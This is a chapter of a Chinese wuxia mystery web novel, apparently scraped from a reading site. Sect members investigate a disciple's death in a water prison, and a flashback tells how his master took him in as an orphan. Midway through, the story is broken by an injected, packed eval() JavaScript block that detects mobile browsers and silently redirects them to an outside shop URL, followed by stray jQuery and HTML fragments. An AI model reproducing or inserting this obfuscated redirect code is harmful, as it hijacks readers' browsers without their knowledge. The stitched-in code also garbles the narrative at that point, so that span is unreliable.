季音吓了一跳,可没等她细瞧,那双眼睛便消失的无影无踪,仿若一切都是她的错觉。
若她记得不错,这间牢房内关押的正是那位隐邺盟盟主,苍璐念。
“女侠姐姐,你还愣着干嘛,快走啊!”
付子修显然并未发觉什么异常,边说边架起了浑身是血的谢闻潇。
季音望着周序的尸身,又看了看谢闻潇毫无血气的脸色,叹了口气,决定先来解决眼下之事。
说实话,季音虽与谢闻潇接触不多,但直觉告诉她,这人充其量只是不合群,与其说是不屑表达,倒不如说是不会表达。
毕竟像他这种“另类”,冥麟阁里没有十个也有八个——有本事的人,自然是会有点儿个性的。
比如每每逃课睡觉却仍能在考核中脱颖而出的季音,也算是别人眼中的一个另类。
而真正让她感到不对劲的,是周序。
周序此人,与魏奚泽倒是一个做派,却比他师父更讨人喜欢——说白了,就是跟他聊天你会非常舒服,完全不用担心自己哪句话会得罪他,就算真的说错了,他也会想办法替你补救,绝对不会让你尴尬。
再加上,他的那张脸实在太过普通,普通到就算是与别人吵架,也完全没有攻击性。
更别说自从认识周序以来,他一直都是一副拘谨和善的模样,季音就没见他生过气,发过火。
所以她实在想不通,谢闻潇究竟是怎样惹怒周序,甚至逼他大打出手的。
还是说,这一切其实另有隐情?
不过眼下情形,倒也没什么好担忧的。因为周序死了,死亡这东西,本身就代表着一种清白。
“每晚安排在水牢的看守弟子都是两人,为何今夜只有你一个?”
方才举手的小弟子跪在大殿,听得魏奚泽发问,忙道:“不不不,是两个人,是我跟师兄一起值的夜。”
付子修道:“那你师兄呢?”
小弟子道:“自从徐福师兄出事后,给苍璐念送饭的就变成了周序师兄。周序师兄体恤我们,每次都会给我们带宵夜吃。可今夜不知怎的,周序师兄进了水牢后就一直没出来,我和师兄担心他出什么意外,就赶紧冲了进去。”
季音问道:“然后呢?”
小弟子摇了摇头:“苍璐念仍被关的好好的,饭菜也被送到了,但我们转了好几圈,就是没找到周序师兄。”
魏奚泽眉头微蹙:“可否仔细找过?”
“很仔细了!”小弟子肯定道:“我跟师兄分头行动,每间牢房、每处拐角都找了,真的半个人影都没有。”
“我们出来以后,发现食盒不见了,就猜测周序师兄也许已经走了,便放下心来,没再深究。”
“可谁能想到,大约一个时辰后,谢闻潇师兄来了。因为谢师兄平常从不来水牢,而且他脸色很差,手里还举着把巨剑,把我和师兄都吓了一跳。”
付子修惊道:“他不会对你们动手了吧?!”
小弟子连连摆手:“没有没有。谢师兄只说一直不见周序师兄回去,所以来找人。”
季音眉头微蹙:若这小弟子与谢闻潇都没有撒谎,那么周序就一定还在水牢!
“因......因为谢师兄脾气比较古怪,师兄怕他有什么别的目的,不肯就这么放他进去,便说要去他们的住所看看,若周序师兄真的不在,他一定会喊人来一起找。”
季音道:“......谢闻潇同意了?”
“嗯......可谁能想到,师兄一走,他就拉着我进了水牢,还说不用防他跟防贼一样,让我好好看着,替他做个见证,他真的......只是来找人。”
付子修急道:“那你看到了吗?是他杀了周序吗?”
“没有......我刚进去没多久,就突然感觉后颈一凉,没了知觉。再醒过来的时候,看到的......”小弟子咽咽口水,指了指面前周序的尸体:“就是这样了。”
“我......我当时实在太害怕了,腿都软了,站都站不起来,只希望能赶紧来人!可等大家都到了,水牢却莫名其妙多了道禁制,无论如何也进不去了......”说完,小弟子又重新低下了头。
魏奚泽沉思片刻,看向付子修:“子修,清理后山时,你们可否一直与周序在一起?”
付子修忙道:“没错,我还跟他抱怨来着,说这凶手杀人分尸,甚至连老人和小孩都不放过,简直猪狗不如!”
魏奚泽又问:“那你们是什么时辰离开的?”
付子修道:“离开?我怎么不记得......啊,对,想起来了,我没跟他一起走,我是被裴兄拉走的。”
季音突然就想到,真要说起来,裴诀也算是那类人——能接住你所有的话,并且更为洞若观火,更擅察言观色。
于是她道:“是有什么急事吗?”
“啥啊,还不是裴兄大惊小怪!”付子修满不在乎道:“非说什么灵州城不安全,要找人给我送回府去,那我肯定不干啊,好说歹说才劝住他。”
季音了然。其实这也难怪,如今灵州城乱成一锅粥,谁都是活过今日盼明日,生怕哪天就两眼一闭长睡不起了。自从付栀年身故,付子修便成了左相府唯一一根独苗,若是他有个三长两短,别说裴诀,怕是整个云天派都没好日子过。
就在这时,门口弟子前来禀报:“魏长老,天璇长老来了。”
魏奚泽叹了口气:“时间也不早了,今夜辛苦你们三人,早些回去休息吧。”
周序身死,尚未经仵作验尸,于是被带去了冰室。至于谢闻潇,虽只是皮外伤,但不知为何,几碗汤药灌下去后,却完全没有要苏醒的迹象,甚至呼吸越来越轻,脉搏也越来越弱。魏奚泽虽心急,却也无奈,只得拜托大夫日夜照看,全力救治。
眼见重霄殿的大门关起,季音与付子修对视一眼,默契地拔腿就往墙角躲。
“女侠姐姐,想不到你也会干这种事!”
“你还笑,要是让裴诀知道,准没你好果子吃。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996927|145176||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>“嘿嘿,他这不是不在嘛!”
重霄殿内,李妙言一袭素衣,不怒自威。
女人确然是很奇怪的,看看李妙言就知道了——不过三十五六的年纪,又生得一副好皮囊,照理说正是极具魅力的时候。但她却整日不苟言笑,穿的活像披麻戴孝,明明是个江湖人,可不知情者见了定会认为她是哪个学堂中古板严苛的教书先生。
她与魏奚泽虽同为云天派长老,但武林中人向来讲究论资排辈。于是瞧见来人,魏奚泽还是行礼道:“师叔。”
李妙言显然并不在乎这些虚礼,略过寒暄客套,直接开门见山:“谢闻潇呢?”
她这么问,摆明已经了解了事情的前因后果,魏奚泽便也不再多言:“闻潇身受重伤,仍在昏迷,我便差人将他送了回去。”
李妙言道:“哦?看来你并不相信他是凶手。”
魏奚泽道:“师叔言重了。这孩子八九岁起就跟在我身边,他是什么脾气秉性,我这个当师父的,最了解不过。”
李妙言又道:“当时水牢里没有别人,你不怀疑他,难道怀疑周序?可周序已经死了,而且若我没记错,他跟着你的时间应当更久。”
魏奚泽不语。
那是很多年前的事了。彼时魏奚泽也不过十四五岁,第一次随师父下山游历,一路走来,既见识了月照山河影,也瞧见了鱼盐满市井,只觉书中所写不假,山下果然是很有意思的地方。
“师父,咱们接下来去哪?”
“二十四桥,你不是一直都想去吗?”
确然如此。他曾在书中看到,十里长街市井连,月明桥上看神仙,所以早就想见识见识,那传说中的神仙究竟是什么样的。
可到了以后,他发现桥上根本没有神仙,只有一个又瘦又脏的少年,少年身后有一张草席,草席上盖着块脏布,脏布旁立了只木牌,上面写着“卖身葬弟”四个大字。
魏奚泽道:“你叫什么名字?”
少年抬头——一张脸生得本就平平无奇,再加上面黄肌瘦,满是污垢,显得更丑了。
他像是知道这一点,又赶紧将脑袋低了下去,嗫嚅半天才道:“我叫......周序。”
“你父母呢?”
“......死了。”
“没有其他亲戚了吗?”
“......有个舅舅。”
魏奚泽看了看周序身上的鞭痕,又看了看他那双裂满口子的手,心下了然:“你弟弟下葬,需要多少钱?”
听得此话,周序突然来了精神,只见他猛地将头抬起,眸子亮闪闪的:“我......我能放牛,能喂猪,会插秧,会打谷,我什么都能干!你......你能不能给我二两......不,不,一两银子就好。”
魏奚泽道:“一两银子就够吗?”
周序连连点头。
“那你吃什么,喝什么呢?”
周序道:“葬完弟弟以后,就剩我一个人了,一个人......好活的。”